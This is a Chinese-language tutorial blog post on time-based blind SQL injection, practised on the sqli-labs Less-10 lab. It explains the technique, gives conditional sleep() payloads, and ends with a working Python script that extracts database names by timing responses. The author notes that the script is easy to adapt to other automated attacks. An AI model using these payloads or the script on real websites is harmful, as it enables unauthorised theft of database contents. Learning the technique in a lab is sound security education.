簡介:文章分爲三部分:1、概要;2、詳細的思維導圖;3、詳細的解說。
描述:概要包括該文介紹的知識點;詳細的思維導圖更好地理清思路,方便記憶,但對於有些對於作者比較基礎的內容不會有詳細的解釋,建議主動了解;詳細的解說作者會根據思維導圖的綱要添加代碼語句等內容,有時間會添加具體操作,具體步驟,操作結果等內容,添加需要注意的Tips(藍色字體怎樣)。
前面的話:操作學習的環境----Linux環境+docker+sqli-labs。環境配置請看:第一章:SQL注入基礎--1.1Web應用架構分析&1.2 SQLi注入環境搭建或私信我親測有效的資源給你。
Tips:這些都是作者學習過的內容,文字、思維導圖等都是一雙手,後續會連載這系列以及豐富流程說明,歡迎溝通交流、留言,覺得必要的也可收藏關注
1、概要:
3.2 SQL盲注-時間注入
時間盲注原理
時間盲注方法
構造python腳本自動打印數據庫信息(結尾附上源碼)
2、詳細的思維導圖:
3.2 SQL盲注-時間注入
時間盲注原理
代碼存在SQL注入漏洞然而頁面即不會回顯數據,也不會回顯錯誤信息語句執行後也不提示真假,我們不能通過頁面的內容來進行判斷
這裏我們可以通過構造語句,通過頁面響應的時長,來判斷信息,這既是時間盲注!
時間盲注方法(可利用sqli-labs:Less-10演練,環境部屬請看:第一章:SQL注入基礎--1.1Web應用架構分析&1.2 SQLi注入環境搭建)
構造邏輯語句,通過條件語句進行判斷,爲真則立即執行,否則延時執行
核心語法:if(left(user(),1)='a',0,sleep(5));
真實場景:if(ascii(substr(database(),1,1))>115,0,sleep(5))
構造python腳本自動打印數據庫信息(掌握前面我連載的SQL注入博客的小夥伴,相信利用這個代碼可舉一反三,逍遙快活很多自動attack手段了)
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import time
url = 'http://192.168.100.57/Less-10/?id=1'
database = 'select schema_name from information_schema.schemata'
tables = 'select table_name from information_schema.tables where table_schema=database()'
column = 'select column_name from information_schema.columns where table_name="table_name"'
result = ''
for i in range(1,30):
for j in range(48,122):
payload = '"and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),1)--+'.format(database,i,j)
stime =time.time()
r = requests.get(url+payload)
etime = time.time()
if etime-stime >=2:
result += chr(j)
print (result)
break